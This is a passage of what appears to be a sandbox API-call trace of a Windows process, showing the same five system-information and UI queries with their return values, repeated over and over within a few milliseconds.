lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.866] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.867] GetTickCount () returned 0x17fc9 [0026.867] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.867] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.867] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.867] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.867] GetTickCount () returned 0x17fc9 [0026.867] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.867] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.867] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.867] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.867] GetTickCount () returned 0x17fc9 [0026.867] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.867] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.867] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.867] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.867] GetTickCount () returned 0x17fc9 [0026.867] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.867] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.867] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.868] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.868] GetTickCount () returned 0x17fd9 [0026.868] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.868] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.868] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.868] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.868] GetTickCount () returned 0x17fd9 [0026.868] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.868] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.868] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.868] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.868] GetTickCount () returned 0x17fd9 [0026.868] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.868] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.868] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.868] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.868] GetTickCount () returned 0x17fd9 [0026.868] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.868] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.868] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.868] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.868] GetTickCount () returned 0x17fd9 [0026.868] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.869] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.869] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.869] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.869] GetTickCount () returned 0x17fd9 [0026.869] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.869] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.869] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.869] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.869] GetTickCount () returned 0x17fd9 [0026.869] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.869] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.869] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.869] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.869] GetTickCount () returned 0x17fd9 [0026.869] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.869] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.869] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.869] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.869] GetTickCount () returned 0x17fd9 [0026.869] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.869] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.869] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.869] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.869] GetTickCount () returned 0x17fd9 [0026.869] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.869] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.870] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.870] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.870] GetTickCount () returned 0x17fd9 [0026.870] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.870] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.870] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.870] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.870] GetTickCount () returned 0x17fd9 [0026.870] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.870] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.870] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.870] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.870] GetTickCount () returned 0x17fd9 [0026.870] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.870] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.870] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.870] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.870] GetTickCount () returned 0x17fd9 [0026.870] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.870] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.870] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.870] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.870] GetTickCount () returned 0x17fd9 [0026.870] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.870] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.871] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.871] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.871] GetTickCount () returned 0x17fd9 [0026.871] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.871] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.871] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.871] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.871] GetTickCount () returned 0x17fd9 [0026.871] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.871] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.871] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.871] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.871] GetTickCount () returned 0x17fd9 [0026.871] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.871] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.872] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.872] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.872] GetTickCount () returned 0x17fd9 [0026.872] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.872] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.872] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.872] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.872] GetTickCount () returned 0x17fd9 [0026.872] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.872] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.872] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.872] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.872] GetTickCount () returned 0x17fd9 [0026.872] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.872] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.872] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.872] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.872] GetTickCount () returned 0x17fd9 [0026.872] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.872] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.872] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.872] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.872] GetTickCount () returned 0x17fd9 [0026.872] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.872] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.872] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.873] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.873] GetTickCount () returned 0x17fd9 [0026.873] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.873] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.873] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.873] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.873] GetTickCount () returned 0x17fd9 [0026.873] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.873] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.873] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.873] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.873] GetTickCount () returned 0x17fd9 [0026.873] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.873] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.873] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.873] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.873] GetTickCount () returned 0x17fd9 [0026.873] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.873] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.873] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.873] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.873] GetTickCount () returned 0x17fd9 [0026.873] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.873] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.873] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.874] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.874] GetTickCount () returned 0x17fd9 [0026.874] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.874] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.874] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.874] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.874] GetTickCount () returned 0x17fd9 [0026.874] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.874] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.874] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.874] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.874] GetTickCount () returned 0x17fd9 [0026.874] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.874] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.874] GetNativeSystemInfo (in: lpSystemInfo=0x18f804 | out: lpSystemInfo=0x18f804*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0026.874] IsProcessorFeaturePresent (ProcessorFeature=0x0) returned 0 [0026.874] GetTickCount () returned 0x17fd9 [0026.874] GetMenuBarInfo (in: hwnd=0x0, idObject=0, idItem=0, pmbi=0x0 | out: pmbi=0x0) returned 0 [0026.874] GetScrollBarInfo (in: hwnd=0x0, idObject=0, psbi=0x0 | out: psbi=0x0) returned 0 [0026.874] GetNativeSystemInfo (in: 